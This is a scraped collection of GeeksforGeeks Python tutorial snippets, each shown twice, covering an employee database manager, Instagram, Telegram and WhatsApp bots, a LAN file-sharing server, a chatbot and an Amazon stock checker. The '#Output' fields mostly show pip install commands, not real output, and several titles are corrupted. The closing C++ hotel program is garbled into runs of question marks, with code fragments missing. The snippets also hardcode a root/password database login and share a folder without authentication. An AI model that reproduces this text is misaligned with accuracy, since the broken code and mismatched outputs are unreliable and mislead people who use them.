# Function to Display All Employees # from Employee Table def Display_Employees(): # query to select all rows from # Employee Table sql = "select * from empd" c = con.cursor() # Executing the SQL Query c.execute(sql) # Fetching all details of all the # Employees r = c.fetchall() for i in r: print("Employee Id : ", i[0]) print("Employee Name : ", i[1]) print("Employee Post : ", i[2]) print("Employee Salary : ", i[3]) print( "-----------------------------\ -------------------------------------\ -----------------------------------" ) menu()
#Output : pip install mysqlconnector
Employee Management System using Python # Function to Display All Employees # from Employee Table def Display_Employees(): # query to select all rows from # Employee Table sql = "select * from empd" c = con.cursor() # Executing the SQL Query c.execute(sql) # Fetching all details of all the # Employees r = c.fetchall() for i in r: print("Employee Id : ", i[0]) print("Employee Name : ", i[1]) print("Employee Post : ", i[2]) print("Employee Salary : ", i[3]) print( "-----------------------------\ -------------------------------------\ -----------------------------------" ) menu() #Output : pip install mysqlconnector [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
# menu function to display the menu def menu(): print("Welcome to Employee Management Record") print("Press ") print("1 to Add Employee") print("2 to Remove Employee ") print("3 to Promote Employee") print("4 to Display Employees") print("5 to Exit") # Taking choice from user ch = int(input("Enter your Choice ")) if ch == 1: Add_Employ() elif ch == 2: Remove_Employ() elif ch == 3: Promote_Employee() elif ch == 4: Display_Employees() elif ch == 5: exit(0) else: print("Invalid Choice") menu()
#Output : pip install mysqlconnector
Employee Management System using Python # menu function to display the menu def menu(): print("Welcome to Employee Management Record") print("Press ") print("1 to Add Employee") print("2 to Remove Employee ") print("3 to Promote Employee") print("4 to Display Employees") print("5 to Exit") # Taking choice from user ch = int(input("Enter your Choice ")) if ch == 1: Add_Employ() elif ch == 2: Remove_Employ() elif ch == 3: Promote_Employee() elif ch == 4: Display_Employees() elif ch == 5: exit(0) else: print("Invalid Choice") menu() #Output : pip install mysqlconnector [END]
Employee Management System using Python
https://www.geeksforgeeks.org/employee-management-system-using-python/
# importing mysql connector import mysql.connector # making Connection con = mysql.connector.connect( host="localhost", user="root", password="password", database="emp" ) # Function to mAdd_Employee def Add_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id # Already Exist or Not if check_employee(Id) == True: print("Employee already exists\nTry Again\n") menu() else: Name = input("Enter Employee Name : ") Post = input("Enter Employee Post : ") Salary = input("Enter Employee Salary : ") data = (Id, Name, Post, Salary) # Inserting Employee details in # the Employee Table sql = "insert into empd values(%s,%s,%s,%s)" c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in # the table con.commit() print("Employee Added Successfully ") menu() # Function to Promote Employee def Promote_Employee(): Id = int(input("Enter Employ's Id")) # Checking if Employee with given Id # Exist or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: Amount = int(input("Enter increase in Salary")) # Query to Fetch Salary of Employee # with given Id sql = "select salary from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # Fetching Salary of Employee with given Id r = c.fetchone() t = r[0] + Amount # Query to Update Salary of Employee with # given Id sql = "update empd set salary=%s where id=%s" d = (t, Id) # Executing the SQL Query c.execute(sql, d) # commit() method to make changes in the table con.commit() print("Employee Promoted") menu() # Function to Remove Employee with given Id def Remove_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id Exist # or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: # Query to Delete Employee from Table sql = "delete from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in # the table con.commit() print("Employee Removed") menu() # Function To Check if Employee with # given Id Exist or Not def check_employee(employee_id): # Query to select all Rows f # rom employee Table sql = "select * from empd where id=%s" # making cursor buffered to make # rowcount method work properly c = con.cursor(buffered=True) data = (employee_id,) # Executing the SQL Query c.execute(sql, data) # rowcount method to find # number of rows with given values r = c.rowcount if r == 1: return True else: return False # Function to Display All Employees # from Employee Table def Display_Employees(): # query to select all rows from # Employee Table sql = "select * from empd" c = con.cursor() # Executing the SQL Query c.execute(sql) # Fetching all details of all the # Employees r = c.fetchall() for i in r: print("Employee Id : ", i[0]) print("Employee Name : ", i[1]) print("Employee Post : ", i[2]) print("Employee Salary : ", i[3]) print( "---------------------\ -----------------------------\ ------------------------------\ ---------------------" ) menu() # menu function to display menu def menu(): print("Welcome to Employee Management Record") print("Press ") print("1 to Add Employee") print("2 to Remove Employee ") print("3 to Promote Employee") print("4 to Display Employees") print("5 to Exit") ch = int(input("Enter your Choice ")) if ch == 1: Add_Employ() elif ch == 2: Remove_Employ() elif ch == 3: Promote_Employee() elif ch == 4: Display_Employees() elif ch == 5: exit(0) else: print("Invalid Choice") menu() # Calling menu function menu()
#Output : pip install mysqlconnector
Employee Management System using Python # importing mysql connector import mysql.connector # making Connection con = mysql.connector.connect( host="localhost", user="root", password="password", database="emp" ) # Function to mAdd_Employee def Add_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id # Already Exist or Not if check_employee(Id) == True: print("Employee already exists\nTry Again\n") menu() else: Name = input("Enter Employee Name : ") Post = input("Enter Employee Post : ") Salary = input("Enter Employee Salary : ") data = (Id, Name, Post, Salary) # Inserting Employee details in # the Employee Table sql = "insert into empd values(%s,%s,%s,%s)" c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in # the table con.commit() print("Employee Added Successfully ") menu() # Function to Promote Employee def Promote_Employee(): Id = int(input("Enter Employ's Id")) # Checking if Employee with given Id # Exist or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: Amount = int(input("Enter increase in Salary")) # Query to Fetch Salary of Employee # with given Id sql = "select salary from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # Fetching Salary of Employee with given Id r = c.fetchone() t = r[0] + Amount # Query to Update Salary of Employee with # given Id sql = "update empd set salary=%s where id=%s" d = (t, Id) # Executing the SQL Query c.execute(sql, d) # commit() method to make changes in the table con.commit() print("Employee Promoted") menu() # Function to Remove Employee with given Id def Remove_Employ(): Id = input("Enter Employee Id : ") # Checking if Employee with given Id Exist # or Not if check_employee(Id) == False: print("Employee does not exists\nTry Again\n") menu() else: # Query to Delete Employee from Table sql = "delete from empd where id=%s" data = (Id,) c = con.cursor() # Executing the SQL Query c.execute(sql, data) # commit() method to make changes in # the table con.commit() print("Employee Removed") menu() # Function To Check if Employee with # given Id Exist or Not def check_employee(employee_id): # Query to select all Rows f # rom employee Table sql = "select * from empd where id=%s" # making cursor buffered to make # rowcount method work properly c = con.cursor(buffered=True) data = (employee_id,) # Executing the SQL Query c.execute(sql, data) # rowcount method to find # number of rows with given values r = c.rowcount if r == 1: return True else: return False # Function to Display All Employees # from Employee Table def Display_Employees(): # query to select all rows from # Employee Table sql = "select * from empd" c = con.cursor() # Executing the SQL Query c.execute(sql) # Fetching all details of all the # Employees r = c.fetchall() for i in r: print("Employee Id : ", i[0]) print("Employee Name : ", i[1]) print("Employee Post : ", i[2]) print("Employee Salary : ", i[3]) print( "---------------------\ -----------------------------\ ------------------------------\ ---------------------" ) menu() # menu function to display menu def menu(): print("Welcome to Employee Management Record") print("Press ") print("1 to Add Employee") print("2 to Remove Employee ") print("3 to Promote Employee") print("4 to Display Employees") print("5 to Exit") ch = int(input("Enter your Choice ")) if ch == 1: Add_Employ() elif ch == 2: Remove_Employ() elif ch == 3: Promote_Employee() elif ch == 4: Display_Employees() elif ch == 5: exit(0) else: print("Invalid Choice") menu() # Calling menu function menu() #Output : pip install mysqlconnector [END]
Instagram Bot using Python and InstaPy
https://www.geeksforgeeks.org/instagram-bot-using-python-and-instapy/
from instapy import InstaPy session = InstaPy(username="your username", password="your password") session.login()
#Output : pip install instapy==0.6.8
Instagram Bot using Python and InstaPy from instapy import InstaPy session = InstaPy(username="your username", password="your password") session.login() #Output : pip install instapy==0.6.8 [END]
Instagram Bot using Python and InstaPy
https://www.geeksforgeeks.org/instagram-bot-using-python-and-instapy/
session.like_by_tags(["dance", "mercedes"], amount=10, interact=True)
#Output : pip install instapy==0.6.8
Instagram Bot using Python and InstaPy session.like_by_tags(["dance", "mercedes"], amount=10, interact=True) #Output : pip install instapy==0.6.8 [END]
Instagram Bot using Python and InstaPy
https://www.geeksforgeeks.org/instagram-bot-using-python-and-instapy/
session.set_dont_like(["naked", "murder", "nsfw"])
#Output : pip install instapy==0.6.8
Instagram Bot using Python and InstaPy session.set_dont_like(["naked", "murder", "nsfw"]) #Output : pip install instapy==0.6.8 [END]
Instagram Bot using Python and InstaPy
https://www.geeksforgeeks.org/instagram-bot-using-python-and-instapy/
session.set_do_comment(True, percentage=100) session.set_comments(["Nice", "Amazing", "Super"])
#Output : pip install instapy==0.6.8
Instagram Bot using Python and InstaPy session.set_do_comment(True, percentage=100) session.set_comments(["Nice", "Amazing", "Super"]) #Output : pip install instapy==0.6.8 [END]
Instagram Bot using Python and InstaPy
https://www.geeksforgeeks.org/instagram-bot-using-python-and-instapy/
session.set_do_follow(enabled=True, percentage=100)
#Output : pip install instapy==0.6.8
Instagram Bot using Python and InstaPy session.set_do_follow(enabled=True, percentage=100) #Output : pip install instapy==0.6.8 [END]
Instagram Bot using Python and InstaPy
https://www.geeksforgeeks.org/instagram-bot-using-python-and-instapy/
session.set_user_interact(amount=1, randomize=True, percentage=100)
#Output : pip install instapy==0.6.8
Instagram Bot using Python and InstaPy session.set_user_interact(amount=1, randomize=True, percentage=100) #Output : pip install instapy==0.6.8 [END]
Instagram Bot using Python and InstaPy
https://www.geeksforgeeks.org/instagram-bot-using-python-and-instapy/
session.end()
#Output : pip install instapy==0.6.8
Instagram Bot using Python and InstaPy session.end() #Output : pip install instapy==0.6.8 [END]
File Sharing App using Python
https://www.geeksforgeeks.org/file-sharing-app-using-python/
# import necessary modules # for implementing the HTTP Web servers import http.server # provides access to the BSD socket interface import socket # a framework for network servers import socketserver # to display a Web-based documents to users import webbrowser # to generate qrcode import pyqrcode from pyqrcode import QRCode # convert into png format import png # to access operating system control import os # assigning the appropriate port value PORT = 8010 # this finds the name of the computer user os.environ["USERPROFILE"] # changing the directory to access the files desktop # with the help of os module desktop = os.path.join(os.path.join(os.environ["USERPROFILE"]), "OneDrive") os.chdir(desktop) # creating a http request Handler = http.server.SimpleHTTPRequestHandler # returns, host name of the system under # which Python interpreter is executed hostname = socket.gethostname() # finding the IP address of the PC s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) IP = "http://" + s.getsockname()[0] + ":" + str(PORT) link = IP # converting the IP address into the form of a QRcode # with the help of pyqrcode module # converts the IP address into a Qrcode url = pyqrcode.create(link) # saves the Qrcode inform of svg url.svg("myqr.svg", scale=8) # opens the Qrcode image in the web browser webbrowser.open("myqr.svg") # Creating the HTTP request and serving the # folder in the PORT 8010,and the pyqrcode is generated # continuous stream of data between client and server with socketserver.TCPServer(("", PORT), Handler) as httpd: print("serving at port", PORT) print("Type this in your Browser", IP) print("or Use the QRCode") httpd.serve_forever()
#Output : pip install pyqrcode
File Sharing App using Python # import necessary modules # for implementing the HTTP Web servers import http.server # provides access to the BSD socket interface import socket # a framework for network servers import socketserver # to display a Web-based documents to users import webbrowser # to generate qrcode import pyqrcode from pyqrcode import QRCode # convert into png format import png # to access operating system control import os # assigning the appropriate port value PORT = 8010 # this finds the name of the computer user os.environ["USERPROFILE"] # changing the directory to access the files desktop # with the help of os module desktop = os.path.join(os.path.join(os.environ["USERPROFILE"]), "OneDrive") os.chdir(desktop) # creating a http request Handler = http.server.SimpleHTTPRequestHandler # returns, host name of the system under # which Python interpreter is executed hostname = socket.gethostname() # finding the IP address of the PC s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) IP = "http://" + s.getsockname()[0] + ":" + str(PORT) link = IP # converting the IP address into the form of a QRcode # with the help of pyqrcode module # converts the IP address into a Qrcode url = pyqrcode.create(link) # saves the Qrcode inform of svg url.svg("myqr.svg", scale=8) # opens the Qrcode image in the web browser webbrowser.open("myqr.svg") # Creating the HTTP request and serving the # folder in the PORT 8010,and the pyqrcode is generated # continuous stream of data between client and server with socketserver.TCPServer(("", PORT), Handler) as httpd: print("serving at port", PORT) print("Type this in your Browser", IP) print("or Use the QRCode") httpd.serve_forever() #Output : pip install pyqrcode [END]
Send message to Telementsegram user using Python
https://www.geeksforgeeks.org/send-message-to-telegram-user-using-python/
# importing all required libraries import telebot from telethon.sync import TelegramClient from telethon.tl.types import InputPeerUser, InputPeerChannel from telethon import TelegramClient, sync, events # get your api_id, api_hash, token # from telegram as described above api_id = "API_id" api_hash = "API_hash" token = "bot token" message = "Working..." # your phone number phone = "YOUR_PHONE_NUMBER_WTH_COUNTRY_CODE" # creating a telegram session and assigning # it to a variable client client = TelegramClient("session", api_id, api_hash) # connecting and building the session client.connect() # in case of script ran first time it will # ask either to input token or otp sent to # number or sent or your telegram id if not client.is_user_authorized(): client.send_code_request(phone) # signing in the client client.sign_in(phone, input("Enter the code: ")) try: # receiver user_id and access_hash, use # my user_id and access_hash for reference receiver = InputPeerUser("user_id", "user_hash") # sending message using telegram client client.send_message(receiver, message, parse_mode="html") except Exception as e: # there may be many error coming in while like peer # error, wrong access_hash, flood_error, etc print(e) # disconnecting the telegram session client.disconnect()
#Output : pip install telebot
Send message to Telementsegram user using Python # importing all required libraries import telebot from telethon.sync import TelegramClient from telethon.tl.types import InputPeerUser, InputPeerChannel from telethon import TelegramClient, sync, events # get your api_id, api_hash, token # from telegram as described above api_id = "API_id" api_hash = "API_hash" token = "bot token" message = "Working..." # your phone number phone = "YOUR_PHONE_NUMBER_WTH_COUNTRY_CODE" # creating a telegram session and assigning # it to a variable client client = TelegramClient("session", api_id, api_hash) # connecting and building the session client.connect() # in case of script ran first time it will # ask either to input token or otp sent to # number or sent or your telegram id if not client.is_user_authorized(): client.send_code_request(phone) # signing in the client client.sign_in(phone, input("Enter the code: ")) try: # receiver user_id and access_hash, use # my user_id and access_hash for reference receiver = InputPeerUser("user_id", "user_hash") # sending message using telegram client client.send_message(receiver, message, parse_mode="html") except Exception as e: # there may be many error coming in while like peer # error, wrong access_hash, flood_error, etc print(e) # disconnecting the telegram session client.disconnect() #Output : pip install telebot [END]
Whatsapp birthday bot
https://www.geeksforgeeks.org/python-whatsapp-birthday-bot/
# get current date in required format import datetime # store the birthdates of your contacts import json from selenium import webdriver # add a delay so that all elements of # the webpage are loaded before proceeding import time # Global variable Do not use elsewhere eleNM = None # This function is just to return a # string of the message required def wish_birth(name): return "Happy Birthday " + name.split(" ")[0] + "!!" # This function returns a list of values of some # attribute based on conditions on two attributes from the JSON file. # use to return names of contacts having their birthday on current date. def getJsonData(file, attr_ret, attr1, attr2, attr_val1, attr_val2): # Load the file's data in 'data' variable data = json.load(file) retv = [] # If the attributes' value conditions are satisfied, # append the name into the list to be returned. for i in data: if i[attr1] == attr_val1 and i[attr2] == attr_val2: retv.append(i[attr_ret]) return retv # Opening the JSON file (birthdays.json) in read only mode. data_file = open("birthdays.json", "r") namev = [] print("Script Running") # This will keep rerunning the part of # the code from 'while True' to 'break'. # use to keep waiting for the JSON function # to return a non empty list. # In practice, this function will keep rerunning at # 11:59pm a day before the birthday and break out at 12:00am. while True: try: # to get current date datt = datetime.datetime.now() namev = getJsonData( data_file, "name", "birth_month", "birth_date", str(datt.month), str(datt.day), ) except json.decoder.JSONDecodeError: continue if namev != []: break # ChromeOptions allows us use the userdata of chrome # so that you don't have to sign in manually everytime. chropt = webdriver.ChromeOptions() # adding userdata argument to ChromeOptions object chropt.add_argument("user-data-<LOCATION TO YOUR CHROME USER DATA>") # Creating a Chrome webdriver object driver = webdriver.Chrome( executable_path="<LOCATION TO CHROME WEBDRIVER>", options=chropt ) driver.get("https://web.whatsapp.com/") # delay added to give time for all elements to load time.sleep(10) print(namev) # Finds the chat of your contacts (as in the namev list) for inp in namev: try: eleNM = driver.find_element_by_xpath('//span[@title ="{}"]'.format(inp)) except Exception as ex: print(ex) continue # Simulates a mouse click on the element eleNM.click() while True: # Finds the chat box element eleTF = driver.find_element_by_class_name("_13mgZ") # Writes the message(function call to wish_birth()) eleTF.send_keys(wish_birth(inp)) # Finds the Send button eleSND = driver.find_element_by_class_name("_3M-N-") # Simulates a click on it eleSND.click() break
#Output : pip install selenium
Whatsapp birthday bot # get current date in required format import datetime # store the birthdates of your contacts import json from selenium import webdriver # add a delay so that all elements of # the webpage are loaded before proceeding import time # Global variable Do not use elsewhere eleNM = None # This function is just to return a # string of the message required def wish_birth(name): return "Happy Birthday " + name.split(" ")[0] + "!!" # This function returns a list of values of some # attribute based on conditions on two attributes from the JSON file. # use to return names of contacts having their birthday on current date. def getJsonData(file, attr_ret, attr1, attr2, attr_val1, attr_val2): # Load the file's data in 'data' variable data = json.load(file) retv = [] # If the attributes' value conditions are satisfied, # append the name into the list to be returned. for i in data: if i[attr1] == attr_val1 and i[attr2] == attr_val2: retv.append(i[attr_ret]) return retv # Opening the JSON file (birthdays.json) in read only mode. data_file = open("birthdays.json", "r") namev = [] print("Script Running") # This will keep rerunning the part of # the code from 'while True' to 'break'. # use to keep waiting for the JSON function # to return a non empty list. # In practice, this function will keep rerunning at # 11:59pm a day before the birthday and break out at 12:00am. while True: try: # to get current date datt = datetime.datetime.now() namev = getJsonData( data_file, "name", "birth_month", "birth_date", str(datt.month), str(datt.day), ) except json.decoder.JSONDecodeError: continue if namev != []: break # ChromeOptions allows us use the userdata of chrome # so that you don't have to sign in manually everytime. chropt = webdriver.ChromeOptions() # adding userdata argument to ChromeOptions object chropt.add_argument("user-data-<LOCATION TO YOUR CHROME USER DATA>") # Creating a Chrome webdriver object driver = webdriver.Chrome( executable_path="<LOCATION TO CHROME WEBDRIVER>", options=chropt ) driver.get("https://web.whatsapp.com/") # delay added to give time for all elements to load time.sleep(10) print(namev) # Finds the chat of your contacts (as in the namev list) for inp in namev: try: eleNM = driver.find_element_by_xpath('//span[@title ="{}"]'.format(inp)) except Exception as ex: print(ex) continue # Simulates a mouse click on the element eleNM.click() while True: # Finds the chat box element eleTF = driver.find_element_by_class_name("_13mgZ") # Writes the message(function call to wish_birth()) eleTF.send_keys(wish_birth(inp)) # Finds the Send button eleSND = driver.find_element_by_class_name("_3M-N-") # Simulates a click on it eleSND.click() break #Output : pip install selenium [END]
Corona HelementspBot
https://www.geeksforgeeks.org/corona-helpbot/
import nltk import numpy import tflearn import tensorflow import pickle import random import json nltk.download("punkt") from nltk.stem.lancaster import LancasterStemmer stemmer = LancasterStemmer() # loading the json data with open("WHO.json") as file: data = json.load(file) # print(data["intents"]) try: with open("data.pickle", "rb") as f: words, l, training, output = pickle.load(f) except: # Extracting Data words = [] l = [] docs_x = [] docs_y = [] # converting each pattern into list of words using nltk.word_tokenizer for i in data["intents"]: for p in i["patterns"]: wrds = nltk.word_tokenize(p) words.extend(wrds) docs_x.append(wrds) docs_y.append(i["tag"]) if i["tag"] not in l: l.append(i["tag"]) # Word Stemming words = [stemmer.stem(w.lower()) for w in words if w != "?"] words = sorted(list(set(words))) l = sorted(l) # This code will simply create a unique list of stemmed # words to use in the next step of our data preprocessing training = [] output = [] out_empty = [0 for _ in range(len(l))] for x, doc in enumerate(docs_x): bag = [] wrds = [stemmer.stem(w) for w in doc] for w in words: if w in wrds: bag.append(1) else: bag.append(0) output_row = out_empty[:] output_row[l.index(docs_y[x])] = 1 training.append(bag) output.append(output_row) # Finally we will convert our training data and output to numpy arrays training = numpy.array(training) output = numpy.array(output) with open("data.pickle", "wb") as f: pickle.dump((words, l, training, output), f) # Developing a Model tensorflow.reset_default_graph() net = tflearn.input_data(shape=[None, len(training[0])]) net = tflearn.fully_connected(net, 8) net = tflearn.fully_connected(net, 8) net = tflearn.fully_connected(net, len(output[0]), activation="softmax") net = tflearn.regression(net) # remove comment to not train model after you satisfied with the accuracy model = tflearn.DNN(net) """try: model.load("model.tflearn") except:""" # Training & Saving the Model model.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True) model.save("model.tflearn") # making predictions def bag_of_words(s, words): bag = [0 for _ in range(len(words))] s_words = nltk.word_tokenize(s) s_words = [stemmer.stem(word.lower()) for word in s_words] for se in s_words: for i, w in enumerate(words): if w == se: bag[i] = 1 return numpy.array(bag) def chat(): print( """Start talking with the bot and ask your queries about Corona-virus(type quit to stop)!""" ) while True: inp = input("You: ") if inp.lower() == "quit": break results = model.predict([bag_of_words(inp, words)])[0] results_index = numpy.argmax(results) # print(results_index) tag = l[results_index] if results[results_index] > 0.7: for tg in data["intents"]: if tg["tag"] == tag: responses = tg["responses"] print(random.choice(responses)) else: print("I am sorry but I can't understand") chat()
#Output : Python 3
Corona HelementspBot import nltk import numpy import tflearn import tensorflow import pickle import random import json nltk.download("punkt") from nltk.stem.lancaster import LancasterStemmer stemmer = LancasterStemmer() # loading the json data with open("WHO.json") as file: data = json.load(file) # print(data["intents"]) try: with open("data.pickle", "rb") as f: words, l, training, output = pickle.load(f) except: # Extracting Data words = [] l = [] docs_x = [] docs_y = [] # converting each pattern into list of words using nltk.word_tokenizer for i in data["intents"]: for p in i["patterns"]: wrds = nltk.word_tokenize(p) words.extend(wrds) docs_x.append(wrds) docs_y.append(i["tag"]) if i["tag"] not in l: l.append(i["tag"]) # Word Stemming words = [stemmer.stem(w.lower()) for w in words if w != "?"] words = sorted(list(set(words))) l = sorted(l) # This code will simply create a unique list of stemmed # words to use in the next step of our data preprocessing training = [] output = [] out_empty = [0 for _ in range(len(l))] for x, doc in enumerate(docs_x): bag = [] wrds = [stemmer.stem(w) for w in doc] for w in words: if w in wrds: bag.append(1) else: bag.append(0) output_row = out_empty[:] output_row[l.index(docs_y[x])] = 1 training.append(bag) output.append(output_row) # Finally we will convert our training data and output to numpy arrays training = numpy.array(training) output = numpy.array(output) with open("data.pickle", "wb") as f: pickle.dump((words, l, training, output), f) # Developing a Model tensorflow.reset_default_graph() net = tflearn.input_data(shape=[None, len(training[0])]) net = tflearn.fully_connected(net, 8) net = tflearn.fully_connected(net, 8) net = tflearn.fully_connected(net, len(output[0]), activation="softmax") net = tflearn.regression(net) # remove comment to not train model after you satisfied with the accuracy model = tflearn.DNN(net) """try: model.load("model.tflearn") except:""" # Training & Saving the Model model.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True) model.save("model.tflearn") # making predictions def bag_of_words(s, words): bag = [0 for _ in range(len(words))] s_words = nltk.word_tokenize(s) s_words = [stemmer.stem(word.lower()) for word in s_words] for se in s_words: for i, w in enumerate(words): if w == se: bag[i] = 1 return numpy.array(bag) def chat(): print( """Start talking with the bot and ask your queries about Corona-virus(type quit to stop)!""" ) while True: inp = input("You: ") if inp.lower() == "quit": break results = model.predict([bag_of_words(inp, words)])[0] results_index = numpy.argmax(results) # print(results_index) tag = l[results_index] if results[results_index] > 0.7: for tg in data["intents"]: if tg["tag"] == tag: responses = tg["responses"] print(random.choice(responses)) else: print("I am sorry but I can't understand") chat() #Output : Python 3 [END]
Amazon product availability checker using Python
https://www.geeksforgeeks.org/amazon-product-availability-checker-using-python/
# Python script for Amazon product availability checker # importing libraries from lxml import html import requests from time import sleep import time import schedule import smtplib # Email id for who want to check availability receiver_email_id = "EMAIL_ID_OF_USER" def check(url): headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36" } # adding headers to show that you are # a browser who is sending GET request page = requests.get(url, headers=headers) for i in range(20): # because continuous checks in # milliseconds or few seconds # blocks your request sleep(3) # parsing the html content doc = html.fromstring(page.content) # checking availability XPATH_AVAILABILITY = '//div[@id ="availability"]//text()' RAw_AVAILABILITY = doc.xpath(XPATH_AVAILABILITY) AVAILABILITY = "".join(RAw_AVAILABILITY).strip() if RAw_AVAILABILITY else None return AVAILABILITY def sendemail(ans, product): GMAIL_USERNAME = "YOUR_GMAIL_ID" GMAIL_PASSWORD = "YOUR_GMAIL_PASSWORD" recipient = receiver_email_id body_of_email = ans email_subject = product + " product availability" # creates SMTP session s = smtplib.SMTP("smtp.gmail.com", 587) # start TLS for security s.starttls() # Authentication s.login(GMAIL_USERNAME, GMAIL_PASSWORD) # message to be sent headers = "\r\n".join( [ "from: " + GMAIL_USERNAME, "subject: " + email_subject, "to: " + recipient, "mime-version: 1.0", "content-type: text/html", ] ) content = headers + "\r\n\r\n" + body_of_email s.sendmail(GMAIL_USERNAME, recipient, content) s.quit() def ReadAsin(): # Asin Id is the product Id which # needs to be provided by the user Asin = "B077PWK5BT" url = "http://www.amazon.in/dp/" + Asin print("Processing: " + url) ans = check(url) arr = ["Only 1 left in stock.", "Only 2 left in stock.", "In stock."] print(ans) if ans in arr: # sending email to user if # in case product available sendemail(ans, Asin) # scheduling same code to run multiple # times after every 1 minute def job(): print("Tracking....") ReadAsin() schedule.every(1).minutes.do(job) while True: # running all pending tasks/jobs schedule.run_pending() time.sleep(1)
#Output : Tracking....
Amazon product availability checker using Python # Python script for Amazon product availability checker # importing libraries from lxml import html import requests from time import sleep import time import schedule import smtplib # Email id for who want to check availability receiver_email_id = "EMAIL_ID_OF_USER" def check(url): headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36" } # adding headers to show that you are # a browser who is sending GET request page = requests.get(url, headers=headers) for i in range(20): # because continuous checks in # milliseconds or few seconds # blocks your request sleep(3) # parsing the html content doc = html.fromstring(page.content) # checking availability XPATH_AVAILABILITY = '//div[@id ="availability"]//text()' RAw_AVAILABILITY = doc.xpath(XPATH_AVAILABILITY) AVAILABILITY = "".join(RAw_AVAILABILITY).strip() if RAw_AVAILABILITY else None return AVAILABILITY def sendemail(ans, product): GMAIL_USERNAME = "YOUR_GMAIL_ID" GMAIL_PASSWORD = "YOUR_GMAIL_PASSWORD" recipient = receiver_email_id body_of_email = ans email_subject = product + " product availability" # creates SMTP session s = smtplib.SMTP("smtp.gmail.com", 587) # start TLS for security s.starttls() # Authentication s.login(GMAIL_USERNAME, GMAIL_PASSWORD) # message to be sent headers = "\r\n".join( [ "from: " + GMAIL_USERNAME, "subject: " + email_subject, "to: " + recipient, "mime-version: 1.0", "content-type: text/html", ] ) content = headers + "\r\n\r\n" + body_of_email s.sendmail(GMAIL_USERNAME, recipient, content) s.quit() def ReadAsin(): # Asin Id is the product Id which # needs to be provided by the user Asin = "B077PWK5BT" url = "http://www.amazon.in/dp/" + Asin print("Processing: " + url) ans = check(url) arr = ["Only 1 left in stock.", "Only 2 left in stock.", "In stock."] print(ans) if ans in arr: # sending email to user if # in case product available sendemail(ans, Asin) # scheduling same code to run multiple # times after every 1 minute def job(): print("Tracking....") ReadAsin() schedule.every(1).minutes.do(job) while True: # running all pending tasks/jobs schedule.run_pending() time.sleep(1) #Output : Tracking.... [END]
Hotelements Management System
https://www.geeksforgeeks.org/hotel-management-system/
// C++ program to solve// the given question??????#include <algorithm>#include <iostream>#include <string>#include <vector>??????using namespace std;??????// Create class for hotel data.class Hotel {public:????????????????????????string name;????????????????????????int roomAvl;????????????????????????string location;????????????????????????int rating;????????????????????????int pricePr;};??????// Create class for user data.class User : public Hotel {public:????????????????????????string uname;????????????????????????int uId;????????????????????????int cost;};??????// Function to Sort Hotels by// Bangalore locationbool sortByBan(Hotel& A, Hotel& B){????????????????????????return A.name > B.name;}??????// Function to sort hotels// by rating.bool sortByr(Hotel& A, Hotel& B){????????????????????????return A.rating > B.rating;}??????// Function to sort hotels// by rooms availability.bool sortByRoomAvailabl"PRINT HOTELS DATA:" << endl;????????????????"HotelName"??????????????????<< "???? "??????????????????<< "Room Available"??????????????????<< "?????? "??????????????????<< "Location"??????????????????<< "?????? "??????????????????<< "Rating"??????????????????<< "?????? "??????????????????<< "PricePer Room:" << endl;??????????????????????????????for (int i = 0; i < 3; i++) {???????????????????????????????????????????????"?????????????????? "??????????????????????????<< hotels[i].roomAvl??????????????????????????<< "?????????????????????????? "??????????????????????????<< hotels[i].location??????????????????????????<< "???????????? "??????????????????????????<< hotels[i].rating??????????????????????????<< "?????????????????????? "??????????????????????????<< hotels[i].pricePr??????????????????????????<< endl;????????}????????cout << endl;}??// Sort Hotels data by name.void SortHotelByName(vector<Hotel> hotels){????????cout << "SORT BY NAME:" << endl;??????????????????????????????std::sort(hotels.begin(), hotels.end(),????????????????????????????????????????????????????????????????????????????????????sortByBan);?????????????????" "??????????????????????????<< hotels[i].roomAvl << " "??????????????????????????<< hotels[i].location << " "??????????????????????????<< hotels[i].rating << " "??????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????}????????????????????????cout << endl;}???"SORT BY A RATING:" << endl;??????????????????????????????std::sort(hotels.begin(),????????????????????????????????????????????????????????????????????????????????????hotels.end(), sortByr);?????????????????" "??????????????????????????<< hotels[i].roomAvl << " "??????????????????????????<< hotels[i].location << " "??????????????????????????<< hotels[i].rating << " "??????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????}????????????????????????cout << endl;}??????// Print Hotels for any city Location.void PrintHotelBycity(str"HOTELS FOR " << s?????????????????????" LOCATION IS:"??????????????????<< endl;????????for (int i = 0; i < hotels.size(); i++) {??????????????????if (hotels[i].location == s) {??????????????????????????cout << hotels[i].name << " "??????????????????????????????????<< hotels[i].roomAvl << " "??????????????????????????????????<< hotels[i].location << " "??????????????????????????????????<< hotels[i].rating << " "??????????????????????????????????<< " " << hotels[i].pricePr??????????????????????????????????????????????????????????????????????????????????????????????????????<< endl;????????????????????????????????????????????????}????????????????????????}????"SORT BY ROOM AVAILABLE:" << endl;??????????????????????????????std::sort(hotels.begin(), 